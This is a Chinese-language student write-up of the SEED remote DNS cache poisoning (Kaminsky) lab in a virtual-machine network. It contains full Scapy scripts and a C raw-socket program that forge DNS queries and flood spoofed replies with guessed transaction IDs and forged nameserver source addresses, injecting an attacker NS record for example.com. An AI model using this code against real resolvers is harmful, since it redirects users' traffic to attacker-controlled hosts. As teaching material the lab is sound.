DNS_Remote Attack Seedlab Project
实验主机配置
主机名 | IP地址 |
---|---|
用户主机 | 10.0.2.5 |
本地DNS服务器 | 10.0.2.7 |
攻击者 | 10.0.2.4 |
实验环境
实验步骤与结果分析
task1 环境安装
由于DHCP为主机自动配置,同时会对etc/resolv.conf文件机进行自动写入覆盖,所以需要进行在用户机的/etc/resolvconf/resolv.conf.d/head 文件中加入 nameserver 10.0.2.7,其中head文件内容会再DHCP自动运行写覆盖etc/resolv.conf文件时,将head文件内容写入etc/resolv.conf文件中,查看两个文件内容,确实相同,结果如下:
10.0.2.7 为设置的本地 DNS 服务器, 当随后测试:
结果表明此时的用户主机的本地dns服务器已经变成了我们设定的10.0.2.7.
task2 Configure the Local DNS Server (the Server VM)
按照实验要求进行配置相关文件,主要对此文件进行能如下配置(10.0.2.4是本实验攻击者IP):
这个配置可以帮助我们在没有购买attacker32.com域的前提下,可以在攻击成功(本地缓存中某个域名example.com的查询将全部指向attacker32.com) 后直接查询设置的攻击者IP:10.0.2.4
task3 Configure the Attacker VM
按照实验要求下载所需要的文件后,对两个文件分别进行如下配置:
attacker32:
example文件:
== 上面图片中的问题,目前还没有想明白作用是什么? ==
task4 Testing the Setup
Get the IP address of ns.attacker32.com.
在用户机测试结果:
过程分析:
由于在task2中,我们在本地dns服务器配置了attacker32.com的域名与IP地址的配置对应,使attacker32.com域指向了攻击者主机10.0.2.4,而在攻击者主机10.0.2.4中配置了bind中的attacker.com.zone文件中的IP主机名的映射关系,如图:
所以理论上我们会查询到的IP地址为10.0.2.19,根据实验结果,相符合,同时使用wireshark抓包,发现过程与分析一致.
Get the IP address of www.example.com
不加@ns.attacker32.com,可以查到官方合法IP地址:
加@ns.attacker32.com,查询失败:
失败的原因如下:
加@ns.attacker32.com,表示去ns.attacker32.com主机查询www.example.com的IP地址,同时由于在上面实验中得到了ns.attacker32.com了,会在本地dns缓存中,本地dns会直接返回对应IP,以及其他字段信息,所以wireshark抓包测试,得到如下结果:
本地dns回复用户具体信息:
同时由于10.0.2.19主机不存在,主机便不断发送ARP请求报文查询对应MAC地址,由于主机不存在,ARP查询报文不断发送,导致超时失败,抓包结果如下:
Attack Task
task 4: Construct DNS request
在攻击者主机运行如下代码:
#!/usr/bin/python
from scapy.all import *
def SendPacket():
IPpkt=IP(dst='10.0.2.7',src='10.0.2.4') #dst:DNS server IP --- src:attacker IP
UDPpkt=UDP(dport=53, sport=2222 , chksum=0 )
Qdsec=DNSQR(qname='www.example.com')
DNSpkt=DNS(id=0xaaaa, qr=0, qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
Requestpkt=IPpkt/UDPpkt/DNSpkt
send(Requestpkt)
SendPacket()
抓包得到如下:
由于dns请求数据包为伪造,所以当主机收到回复的dns报文后,会产生ICMP端口不可达的回复报文.
task 5: Spoof DNS Replies
在攻击者主机运行如下代码:
#!/usr/bin/python
from scapy.all import *
def ReplyPacket():
name = 'www.example.com'
domain = 'example.com' #域名
ns = 'attacker32.com' #要伪造的目的域名
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=0,
qd=Qdsec, an=Anssec, ns=NSsec)
ip = IP(dst='10.0.2.7', src='93.184.216.34')
udp = UDP(dport=3333, sport=53, chksum=0)
reply = ip/udp/dns
send(reply)
ReplyPacket()
由于在此任务的实验过程中被攻击的主机没有进行dns查询,所以也不会出现接受回复的结果,通过wireshark抓包测试,得到如下结果:
同样会出现端口不可达的ICMP回复报文.
task 6 Launch the Kaminsky Attack
在实验过程中,由于我们需要利用的漏洞为一个时间差间隙,即在本地DNS服务器接收到我们伪造的example.com域名上的主机名*****.example.com的IP查询报文后,由于本地服务器并不可以解析,所以向example.com域服务器发送一个询问报文,真实的example.com域服务器IP经过查询后,把如果*****.example.com的IP地址存在,则返回IP,不存在,则返回没有此主机名IP的结果,我们利用此间隙,当我们伪造报文成功,并且在真实dns回复数据包之前到达本地dns服务器,本地des服务器就会接受我们伪造的数据包,从而达到欺骗成功的目的.
但是,由于远程攻击,所以我们不会知道16bit的transaction ID,(源端口号也是随机数,需要进行猜测,但是为了简化实验,固定为33333) 这个数据需要我们猜测,所以需要进行多次测试,提高碰撞的成功率.
python语法简单,方便构造,但是发送数据包速度过慢,导致对漏洞时间间隙的利用率下降,成功率降低,所以使用需要C语言,为了利用python中scapy库构造数据包简单的优点,我们可以在python程序中构造数据包并写入文件,在C语言程序中读取数包文件,并且进行修改部分参数,进行发送伪造数据包.
针对此思路,我们进行实验:
利用python生成Query.bin文件
使用如下代码:
#!/usr/bin/python
from scapy.all import *
def GenerateQueryPacket():
targetName='abcde.example.com' #abcde为随意设定,后续会修改
IPpkt=IP(dst='10.0.2.7',src='10.0.2.4') #dst:DNS server IP --- src:attacker IP
UDPpkt=UDP(dport=53, sport=1234 , chksum=0 )#源端口可以任意设置
Qdsec=DNSQR(qname=targetName)
DNSpkt=DNS(id=0xaaaa, qr=0, qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
Querypkt=IPpkt/UDPpkt/DNSpkt
# Save the packet data to a file
with open('Query.bin', 'wb') as f:
f.write(bytes(Querypkt))
GenerateQueryPacket()
其中查询的域名初步设定为abcde.example.com,可随意设定
利用python生成Reply.bin文件
使用如下代码:
#!/usr/bin/python
from scapy.all import *
# Construct the DNS header and payload
def MainProcess():
targetName = 'twysw.example.com'#twysw为随意设定,后续会修改,但是长度需要固定
targetDomain = 'example.com'
Qdsec = DNSQR(qname=targetName)
Anssec = DNSRR(rrname=targetName, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=targetDomain, type='NS',
rdata='ns.attacker32.com', ttl=259200)
dns= DNS(id=0xAAAA, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=0,
qd=Qdsec, an=Anssec, ns=NSsec)
# Construct the IP, UDP headers, and the entire packet
ip = IP(dst='10.0.2.7', src='199.43.135.53', chksum=0) # 199.43.135.53和199.43.133.53任选一个即可,C程序中会进行修改参数
udp = UDP(dport=33333, sport=53, chksum=0)#33333为为简化实验而固定的一个参数
pkt = ip/udp/dns
# Save the packet to a file
with open('Reply.bin', 'wb') as f:
f.write(bytes(pkt))
MainProcess()
域名twysw.example.com为随意设定,但是为了方便后续实验,可以固定域名长度,否则不方便进行后续文件的域名offset参数的确定,使用bless进行查看offset参数,此时的Reply文件中offset参数如下:
参数名称 | offset值 |
---|---|
Transaction ID | 28 |
第一个twysw.example.com | 41 |
第二个twysw.example.com | 64 |
源IP地址 | 12 |
发送询问与伪造回复程序(C语言)
使用如下代码:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include<time.h>
#define MAX_FILE_SIZE 2000
#define TARGET_IP "10.0.2.7"
int send_packet_raw (int sock, char *ip, int n);
char* GenerateRand();
int main()
{
// Create raw socket
int enable=1;
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
//####read Query.bin to ip1[] Start #########
FILE *f1 = fopen("Query.bin", "rb");
if (!f1)
{
perror("Can't open 'Query.bin'");
exit(0);
}
unsigned char ip1[MAX_FILE_SIZE];
int n1 = fread(ip1, 1, MAX_FILE_SIZE, f1);
//####read Query.bin End #########
//####read Reply.bin to ip2[] Start #########
FILE *f2 = fopen("Reply.bin", "rb");
if (!f2)
{
perror("Can't open 'Reply.bin'");
exit(0);
}
unsigned char ip2[MAX_FILE_SIZE];
int n2 = fread(ip2, 1, MAX_FILE_SIZE, f2);
//####read Reply.bin End#########
srand((unsigned)time(NULL));
for(int temp=0;temp<200;temp++) //重复200次
{
// #######send query Begin ############
char*name=GenerateRand();
// Modify the name in the question field (offset=41)
memcpy(ip1+41,name, 5);
send_packet_raw(sock, ip1, n1);
// #######send query End ############
// #######send Mult reply Begin #########
// Modify the name in the question field (offset=41)
memcpy(ip2+41, name , 5);
// Modify the name in the answer field (offset=64)
memcpy(ip2+64,name, 5);
// Modify the IP addr in the src IP field (offset=14) 199.43.133.53->199.43.135.53
char c='\x87';
memcpy(ip2+14,&c, 1);
for (int id=1; id<400; id++)
{
// Modify the transaction ID field (offset=28)
unsigned short id_net_order;
id_net_order = htons(id);
memcpy(ip2+28, &id_net_order, 2);
// Send the IP packet out
send_packet_raw(sock, ip2, n2);
}
// Modify the IP addr in the src IP field (offset=14) 199.43.135.53->199.43.133.53
char c2='\x85';
memcpy(ip2+14,&c2, 1);
for (int id=1; id<400; id++)
{
// Modify the transaction ID field (offset=28)
unsigned short id_net_order;
id_net_order = htons(id);
memcpy(ip2+28, &id_net_order, 2);
// Send the IP packet out
send_packet_raw(sock, ip2, n2);
}
// #######send Mult Reply End#########
free(name);
name=NULL; // A good habit for security
printf("######\thave tried %d\t times, Start Next######### \n",temp);
usleep(1000); //1000ms delay
}
close(sock);
}
char* GenerateRand()
{
char a[26]="abcdefghijklmnopqrstuvwxyz";
// Generate a random name of length 5
char*name=malloc(5);
for (int k=0; k<5; k++)
name[k] = a[rand() % 26];
return name;
}
int send_packet_raw(int sock, char *ip, int n)
{
struct sockaddr_in dest_info;
dest_info.sin_family = AF_INET;
dest_info.sin_addr.s_addr = inet_addr(TARGET_IP);
int r = sendto(sock, ip, n, 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
}
代码中各个参数解释:
为什么更换IP地址(199.43.135.53与199.43.133.53)?
这是因为example.com有两个IP:199.43.135.53与199.43.133.53,在实验过程中我们发现,两个IP都会被使用,且随机切换,为了提高成功率,所以我们每次伪造回复数据包时,两个IP地址都进行伪造,其中相关代码行如下:
` // Modify the IP addr in the src IP field (offset=14) 199.43.133.53->199.43.135.53
char c='\x87';
memcpy(ip2+14,&c, 1); `
参数offset 为14,通过bless查看二进制文件可以得到.
为什么伪造id数目设定为400,可以再增加吗?
在进行wireshark测试过程中,我们发现使用C语言发送一个数据包大约为2ms,而我们可以利用的的本地DNS服务器发送的查询报文与回复报文之间的间隙时间大约为3000ms,所以理论上我们可以进行伪造1500个报文,可以在正确报文到达之前被接受,此时,我们针对两个IP分别伪造400个,进行测试,但是理论上可以进行再次增加,可以有效提高成功率,缩短时间.如果成功率低,可以进行改变此参数进行测试,需要实际情况实际分析.
为什么设定usleep(1000)?
延迟1000ms,进行下一轮测试.可随意设定
实验结果
运行上面C语言程序send_dns.py:
可以多次运行,以达到缓存成功目的,进行多次测试,平均运行2次,检查本地DNS服务器缓存,使用如下命令:
sudo rndc dumpdb -cache
cat /var/cache/bind/dump.db | grep attacker.com
最终得到如下结果,则说明伪造数据包成功,被本地DNS服务器缓存:
此时,使用用户主机使用dig进行测试,得到如下结果:
dig @ns.attacker32.com www.example.com
但是在实验过程中,并不会得到上图的查询结果,仍然出现下图失败结果:
经过wireshark抓包测试,我们发现出现大量ARP请求报文,针对10.0.2.19的询问报文,What??10.0.2.19, 见过!!! 再想一想,嗯,在task2中,对attacker.com.zone文件的配置,ns.attacker.com被设定为10.0.2.19,而这个主机是不存在的,所以出现此结果,进行如下修改,修改为10.0.2.4:
随后,即可得到成功解析结果.
dig www.example.com
说明攻击成功.
task7 Result Verification
上面已经验证.
实验总结与思考
有时间再写,玩去了,哈哈哈